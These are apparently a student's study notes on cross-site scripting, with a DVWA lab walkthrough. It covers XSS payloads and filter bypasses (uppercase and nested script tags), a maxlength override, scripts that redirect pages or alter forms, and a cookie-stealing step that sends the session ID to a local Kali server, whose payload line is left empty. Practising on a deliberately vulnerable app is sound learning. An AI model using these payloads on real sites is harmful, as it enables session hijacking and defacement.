CROSS SITE SCRIPTING
XSS

---

* Client side vuln.
* Attacker inserts a java script into the web page being rendered
* Now he can use/execute that java script in the context of user on the website
* XSS exploit occurs when a web app allows users to submit data that is then embedded into web pages w/out proper validation.

* Types
  1. Reflected (Non Persistent) XSS :-
     - Involves scripts that are executed in the user's browser if they click on a crafted link.
     - eg
       - attacker sends a link to victim
       - the link carries an embedded script in the URL
       - On clicking the link, the script is executed.

2. Stored XSS (persistent)

- The malicious script is permanently stored on web server in a database
- when the user visits the affected web page, the script is loaded in their browsers & executes there.

eg

- certain social media website allow users to post comments.
- If these are not sanitized properly
- An attacker may post a comment carrying script. that may perform malicious activities to user who may visit the comment.

Impacts of XSS Attacks:-

- Session Hijacking
  - Attacker can capture session cookies & thus can impersonate user & can access her account.

- Credential Theft
  XSS can be used to create fake login forms to capture user's credentials.

- Malicious Redirects

- Defacement
  Attacker can change the contents of a page to offend the user to mislead or ~~offend~~

What ar cookies?

* Small pieces of data alphanumeric
* Stored by browser on user's device.
* Used to remember information about users bet diff web pages & sessions

How this works?

* A user visits a web site.
* She enters her credentials
* Browser sends HTTP Req to server
* Server responses with regular data along with cookie eg 123abc789
* This is stored on user's device
* Browser now sends the cookie data back to server with ~~each~~ subsequent request to the same Domain.
* This allows server to recognize the returning user & manage data across sessions.

* Cookies can be
  Persistent
  Non persistent

* Non Persistent
  - Temporary
  - valid for one session only
  - stored temporarily in the browser's memory
  - Deleted when browser is closed
  - Does not have an expiry date.

* Persistent
  - Has an expire or max-age attribute
  - Remain on device until they expire or are deleted manually.
  - Used for long term info, eg user preferences, analytics, user authentication.

The document.cookie

* This property in JS is used to read, write and manage cookies in the user's browser.

- Ex
```
console.log(document.cookies);
```
Displays all the cookies for the current page as a single string. cookies are separated by ';'

- Ex To create/modify a cookie, a name=value pair is assigned

```
document.cookie = "username=Ram";
```

other attributes are

```
expires = Fri 31 Dec 2024 23:59:59 GMT;
path = /;
sessionToken = abc123xyz;
```

Note overall cookie starts with a " ends with a " & then we have a ;
All intermediate attributes end with a ; except the last one

```
document.cookie = "---; ---; ---; ---";
```

XSS Reflected on DVWA

- Fire up Kali & M2
- Type M2 ip on firefox URL
- click DVWA & enter admin: password.
- Goto XSS Reflected
- Set security level to LOW
- Input your name & submit

  o/p: Hello Ranj

- Next try JS code

  Type

  <script>alert('You are Vuln. to XSS')</script>

  click submit
  & you'll see a msg box popped up with the text.

* Take a quick look at the source.
  No validation is performed here

$_GET containing an array of vars received via the HTTP GET method. ① When query str in URL ② HTML forms

* Goto DVWA Security tab on left pane & set it to Medium

* Type
<script>alert('1')</script>

You will see
Hello alert('1') on the DVWA page & not a pop up ⇒ some sanitization is performed

Type
<SCRIPT>alert('1')</script>

This works.

* Have a look at the source code of this page
Here only start <script> tag is validated '<script>' is replaced by ''
So uppercase works for us.

* Another way :-
<scr<script>ipt>alert('1')</script>

use medium security level
& it will do the job!

For High Security Level

* open source page
  you'll notice htmlspecialchars()
  fn is used here.
* This fn. converts characters like
  <, >, & and " into respective
  HTML entities

eg < → <
> → >
& → &
" → "
' → ' (optionally)

Stealing Cookies with XSS

* Need to have a client-server connection to have cookies.
* First we start a server on kali

$ python -m http.server 8000

or $ python2 -m SimpleHTTPServer 8000

* Next on DVWA, with security level medium

Type

<SCRIPT> document.write(''); </script>

Let's first explain this :-

document.write('');

inserts an image with a specified URL

Type this (with simple http server running) enclosed with <SCRIPT> ... </script>

You'll see a thumb nail appears on DVWA page & a GET msg appears on kali

Now let us type the entire line
on DVWA
& press submit
You should see a message on our
kali linux server carrying session
Id.

Stored XSS

* Goto DVWA Security Low
  Type Name
  Type msg
  It is stored in the database
* You can type <script>alert('1')</script>
  in the msg field
  & it works.

Note That whenever we visit this page
our code will execute
unlike reflected XSS

* Shift to Medium Security Level.
Look into the source code
You'll note both message and
name fields are sanitized.
Also in message they have
used htmlspecialchars() fn.
=> we can't exploit.

But
There is no such fn. used in name
input field
They have tried to replace <script>
with ' '
But we know the workaround
for this ☺

A problem in
If we try to type our script in name
field, we come to know that we
can't type more than 10 chars.

Let us see how we can hodge this

Right click on DVWA Stored XSS page
click Inspect Element.
A pane appears at bottom

- On search bar of Inspector tab type table
now click on
▷ <table width="550" cellspacing ...

Then expand
▾ <tbody> ...
- Expand first <tr>
Expand <td>
& change max length to 100

& that's it
Now type your script in name input field & enjoy.

In order to refresh the DB
Go to Setup & click on
Create/Reset Database
button.

Redirecting

<script> window.location.href = "https://
google.com"; </script>

After some set time expires

<script> setTimeout(() => window.location.
href = "https://google.com", 5000); </script>

Changing Label on Btn

On Reflected XSS page, note the type & value of Btn. (Using page source)

<script> setTimeout(() => document.querySelector
('input[type="submit"]').value = "Ok"
, 3000); </script>

Changing the label of text box

Note that the text

What is your name?

is located in a form enclosed in <p> tags. To change it

```
<script>
  document.querySelector('form p').
    textContent = "Who the hell are u?";
</script>
```

changing Type of an element

```
<script> document.querySelectorAll('
  input')[0].setAttribute('type',
                          'password');
</script>
```

To change textbox to Btn

```
<script>
  document.getElementById('inField').
  setAttribute('type', 'submit');
</script>
```

id in

what if id is not specified in the form item

```
<script>
  document.querySelectorAll('input')[0].
  setAttribute('type', 'submit');
</script>
```

Trying Multiple Java Script instructions

Convert text box into a button
On clicking that button something happens.

```
<script>
var btn = document.querySelectorAll(
'input')[0];
btn.setAttribute('type', 'submit');
btn.setAttribute('onclick',
'alert("you are hacked!")');
</script>
```

querySelector()

- Java script method
- Returns the first matching element as an object
- We can then manipulate this object eg change its
  - attributes
  - text contents
  - styles.

- Syntax

```
document.querySelector(selector);
```

Here selector is a string containing any valid CSS selector

eg: selects an element with id = "myId"

```
document.querySelector('#myId');
```

selects the first element with specific class

```
" " (".myclass");
```

10

Selects elements with specific attribute

```
document.querySelector('[type="submit"]')
```

Selects the first <input> element inside a form

```
" " ('form input');
```

window.location

* property of window object in JS
* provides info about the current URL

eg window.location.href
" .protocol
.path
.hostname

* used for navigating, redirecting & manipulating URLs in the browser.